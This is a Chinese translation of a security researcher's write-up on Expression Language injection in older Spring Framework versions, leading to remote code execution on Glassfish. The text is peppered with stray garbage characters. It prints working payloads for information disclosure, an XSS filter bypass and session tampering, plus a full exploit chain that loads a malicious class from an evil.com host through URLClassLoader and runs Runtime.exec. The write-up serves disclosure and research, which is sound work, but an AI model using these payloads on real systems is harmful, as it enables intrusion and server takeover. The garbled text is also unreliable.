Remote Code with
9 c O/ q2 X7 HExpression Language Injection9 j0 J, D8 b7 m, a4 f* K. ]& ?
Spring Framework脆弱性—DanAmodio0 a/ l7 P# @1 J
全世界超过22,000组织已经下载了131.4万过时的Spring Framework,使用在业务中
/ B# s- b7 J n" S" ~可能会存在风险。$ F4 t" I) k1 D2 G1 N# I
在2011年,来自Minded Security 的Stefano Di Paola 和来自Aspect Security的
5 A( l7 F" T+ D2 t/ T2 T) Y+ hArshan Dabirsiaghi 在Spring Framework中发现了一个有趣模式。Stefano创造了Expression Language (EL) 注入。他们的发现披露了某些双重的解析EL 的spring 标签可
" ]& t# O: x7 E5 @# f以泄露服务器上的敏感数据。这是由于spring 提供了独立于jsp/servlet容器的EL支持,
! B5 U% {9 ?) t" M8 q以此来作为向下兼容的一种方式。因此在jsp2.0之前,EL 是不被支持的。这个功能在当前. M! Z, N0 L7 P Z m% H- N/ p
版本中是默认打开的,应用程序使用了此模式描述是易受攻击的。' z- ~) T# U. z1 W" C% Y
由于每个应用程序并不都会出现反射xss这种弱点,虽然很难量化它的深度和广度,但
/ } q6 Z4 ?0 Y; k我们根据Sonatype最新的统计知道,全世界超过22,000的组织下载Spring 3.0.5以下版; r5 O& G4 e( o" N. d& y
本已经超过131.4 万。Point-in-fact, one large retail organization consumed 241 different artifacts, 4,119 total downloads。- j7 Z6 d h1 i) P8 Z* N2 b
这些版本不支持禁用double EL resolution.+ _" ^& N5 K4 A* o. @
这个问题原来的影响是信息泄露,但是我将举例说明它如何在Glassfish 和其他包含
; |9 z! E6 k" \; z. R w5 bEL2.2容器上可能进行远程代码执行。
. m- P1 R; L# Z8 n6 `! a' o这是一个原始信息泄露的攻击例子:
/ }/ b2 X N3 B- V Y5 z请求:
# d) Y" _: A( @ttp://vulnerable.com/foo?message=${applicationScope}7 r1 H# ]% |( L( O- H
到达以下内容页面:% w3 d, E% Y' x& Z# Y
结果将输出一些包含内部服务器信息calsspath 和本地工作目录
3 l# g5 r6 b. E1 b8 g0 v你也可以做一些其他事情,如这样:2 r5 c+ E; B/ O5 ?9 F
${9999+1}
( j* j1 b3 _! c) S- f' z还可以访问session 对象和beans- Q: y7 Z5 O$ O% u. G" n% ]
${employee.lastName}6 A! ^$ q! H2 f- h" b8 A
在执行Glassfish上客户端应用程序的渗透测试时,我遇到了同样的模式,知道大概是
2 s" F: T' u3 W `# h k3 PEL 注入,做了额外的测试后,确认了这一发现,同时延续下去,我想挖掘一些有滋味的东6 K8 N* Y6 c' u+ ^7 K
西,比如XSS.+ t! s4 j6 f* M2 y
哎,应用程序的输入过滤终止了我的请求,因此去掉了””标签5 o; Q! e0 G! F, ]4 G7 [, G
突发奇想,我想“我可以在JAVA中进行字符操纵,为什么我不试试利用EL来绕过过滤- l8 i; y; _& z& [
呢?”* I n/ v( F- T Y1 }
因此,我尝试巳缦拢�' i, W s9 T. T
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,”Q”)}foo=PPPP
5 z. b! O0 f$ q/ MP/ d% y3 @, J4 J4 t
我注意到返回的错误代码时QQQQQ,由于String.replaceall 方法已经被调用,所以返) S5 F/ y5 ] Z. A
回的文本被插入进了spring:message 标签。6 t0 W* k# I8 n
这里是一个最终绕过过滤的实例:: r! J$ s, o2 a
http://vulnerable.com/app?code=${param.foo.replaceAll(“P”,””)}&foo=PscriptQalert(1) /scriptQ
5 i/ _. N* q6 R g0 F它运行的很好,接下来一个小时我什么都没想。然后我认识到他是真的真的糟糕的。为
. E4 S% I) N4 B4 O l. a+ q; ]什么可以在EL中像这样插入方法。接下来,我还可以做些其他好玩的事情呢?! r" D6 J+ T: b( [
经过一番研究,我学习到EL2.2 增加了方法调用。: z8 K5 e9 U4 f9 M% S
我写了一个快速测试应用程序代码并且检测一些功能$ b; s6 {$ O# \% E1 _$ {2 a
${pageContext.request.getSession().setAttribute(“account”,”123456″)}
6 S& r. z" g/ l+ j7 r${pageContext.request.getSession().setAttribute(“admin”,true)}
& P$ K3 ^+ d, p好了,会话对象修改是一个明显的风险。我真的想接触到对象,但是我没有一个直接的* ?8 x3 X/ _- C9 ?( H: N9 t
指向pageContext对象,也许我可以使用反射,像String.getClass().forName(string)?7 p# r- t& e B- B, P# t* |' o
${“”.getClass().forName(“java.net.Socket”).newInstance().connect(“127.0.0.1" E/ W& u' _/ e' F" ]
“, 1234)}
* v/ y; n8 M" ]& m${“”.getClass().forName(“java.lang.Runtime”)}
# ^ c! j# ^% t, ~1 E- K# \1 k哇,没有方法让它工作,由于可以接触到任何东西这可是灾难性的。不幸的是,它是不6 X/ w, z% V, \* W, Z
可能调用newinstance()初始化许多危险类(如Runtime),由于它们没有提供默认的构造函
! C. P7 j1 x% o) a数,我们无法创建对象。当它请求null或者一个空数组,getMethods()[0].invoke()会有
3 a o+ D1 D$ }, i6 c4 N# X一些问题。在传递数据到方法之前,EL 似乎是理解它为一个字符串字面值。我猜测是由于
+ Z) H: J4 Y3 o3 n/ s% \方法签名invoke(Object obj, Object„ args). h% O0 R' K3 ?
Jeff Williams (Aspect Security 和OWASP核心创始人) ,Arshan,和我都思考这个问- N# A! g7 m- Y U! H
题,以让它可以工作起来。
4 }8 V" o2 t; X2 b, C漏洞利用:% W2 z7 P1 A, e% q9 B- u/ L
我在墙上撞的我的脑袋bangbang响,我已经用尽了所有想法,现在我们公开这个,我
. p* j' @) R: t# B希望你们中的一些JAVA奇才告诉我我是如此的可笑。
: C9 i) D' r" ^1 ]) c3 j4 e这里有一些我试过的失败的用例,为了试图让它工作的用例:
6 h) d% ~' i8 G+ T 写文件到文件系统4 K1 X' x: q7 R( z. `' d
试图载入org.springframework.expression.spel.standard.SpelExpressionParser.
( h! V* ?4 v9 I1 h- ~我认为这些可以很好的工作,但是我不能找到合适的类来载入。4 R& X' l! s* Z( k/ |; o
${pageContext.getClass().getClassLoader().loadClass(“org.springframework.expression.spel.standard.SpelExpressionParser”)}. s* [' z! \# o$ C! T
javax.servlet.jsp.el.ELException: java.lang.ClassNotFoundException:1 f ], B# ?2 v6 ~" y2 z
org.springframework.expression.spel.standard.SpelExpressionParser not found
+ T6 Z2 a6 j5 wby% i( Y) v8 k, a, X+ Z
org.glassfish.web.javax.servlet.jsp [194].
) f& j( y# P5 W0 b+ B 利用反射来修改java.lang.Runtime.currentRuntime的属性为Public) L/ p1 i& O- K& X5 _; Y- F
利用反射来创建一个新的Runtime(and watch the world burn)0 x9 j, B# u8 K+ E1 i7 z1 U
${pageContext.request.getSession().setAttribute(“rtc”,”".getClass().forName7 D/ e' ~8 s/ y& K# W
(“java.lang.Runtime”)).getDeclaredConstructors()[0])}
& P0 {+ r* [& b6 e${pageContext.request.getSession().getAttribute(“rtc”).setAccessible(true)}
& s% l* A. S- j6 G7 i! G 使用java.lang.ProcessBuilder1 n: w: a& i3 B6 \
用表达式语言来评估表达式语言
: v5 q: U6 d8 A; Y* Q9 j+ HExpression-ception ! 在这点我想我快疯了,载体并没有任何实际意义.) K, Z9 z1 o4 L9 O* d
${pageContext.getExpressionEvaluator().parseExpression(“pageContext.request3 S' a% z7 h$ q
“,”".getClass(),null)}3 O( O e7 ~/ G5 b0 c) p, b0 K3 U
创建一个ObjectInputStream,序列化一个类并将其作为一个参数发送(也有点疯狂); n n6 E2 W' Q; R
我在使用一个空数组通过Method.invoke()时失败了很多次
: ~7 P: |8 V7 r8 `, b, K: u0 Q$ ~“”.getClass().forName(“java.lang.Runtime”).getMethods()[5].invoke(param.foo8 B( X! y, C# N
.getClass().forName(“java.lang.Runtime”),”".getClass().forName(“java.util.A+ p/ p- W/ D9 `9 I+ P$ @
rrayList”).newInstance().toArray())
/ ^: p" j4 D! w# j: i6 Z6 s2 j. Mjava.lang.IllegalArgumentException: wrong number of arguments
8 E; O* |0 ]4 a! E. \% N最后,有一天晚上我被绊倒在一个问题前:我能得到一个URLClassLoader,因此我可
: V4 [( D2 h2 m; o" X5 o$ Y2 G以创建一个恶意class文件并且指向类装载器. q; H% d2 D6 V; r" U% s2 D
我写了一个JAVA 类,它试图打开服务器上的计算器,来证明远程代码执行:3 ]; R5 z' E0 T0 }( l6 l% n
public class Malicious {
8 [2 I; q; s3 @. S2 }) i5 Zpublic Malicious() {
8 z$ w9 ~2 o0 b: v' q9 R& B- M( Rtry {/ u4 `, x, v& ~8 D4 u1 \8 H. c
java.lang.Runtime.getRuntime().exec(“open -a Calculator”); //Mac% v9 Z* @9 Q5 W* s# D) d
java.lang.Runtime.getRuntime().exec(“calc.exe”); //Win
5 R, ], k" |$ d# Y) |} catch (Exception e) {
6 \" j5 e) y7 R/ z. o: g}5 w" K9 ]- b8 o# O/ A2 ]
}
/ b: o) Y: q/ ~8 i6 ^我们创建了一个数组列表将被用于构造一个新的URLClassLoader,它需要被存储在回
8 s0 v+ d- z$ Z" D/ \! v0 \$ Y话中,因此它可以被使用.
' t# T) _1 P, q9 `${pageContext.request.getSession().setAttribute(“arr”,”".getClass().forName
" j! e5 V. p1 b(“java.util.ArrayList”).newInstance())}" U" _& L9 [- {* Z) _+ l- a( i
URLClassLoader 提供了一个newInstance 方法,它接受URL对象数组。我们需要创建1 x; `2 V# ^5 y: Y% x
一个新的包含我们恶意代码路径的URL。ServletContext可以提供给我们一个URL对象和; _3 \3 K6 O0 f+ Z
getResource(string) 方法,但是我们不可能直接创建一个新的实例。然而URI提供了一个8 D, K5 J: m2 A, L: d$ ^7 S
我们可以调用的create(string)方法,然后转换对一个URL对象。
3 J: J% e4 }- y0 Q" h( \${pageContext.request.getSession().getAttribute(“arr”).add(pageContext.getServletContext().getResource(“/”).toURI().create(“http://evil.com/path/to/wh
: s( c" b4 A2 S* p, @$ [- Vere/malicious/classfile/is/located/”).toURL())}+ C0 ]# x7 ` W8 d& h! B
然后我们发现了一个到URLClassLoader指示器,因此newInstance 方法可以被调用,- d1 F7 N- d6 M O, K2 v! H7 e
恶意类文件被装载并创建,触发远程代码.3 P3 X! a- ~; e- U5 s, U1 ^
${pageContext.getClass().getClassLoader().getParent().newInstance(pageConte" e o9 R! u- `1 ]; Y) I9 K
xt.request.getSession().getAttribute(“arr”).toArray(pageContext.getClass().6 {! V# U Y5 O) s+ W' y
getClassLoader().getParent().getURLs())).loadClass(“Malicious”).newInstance
0 K1 A, H6 {. ~+ Y$ i()} |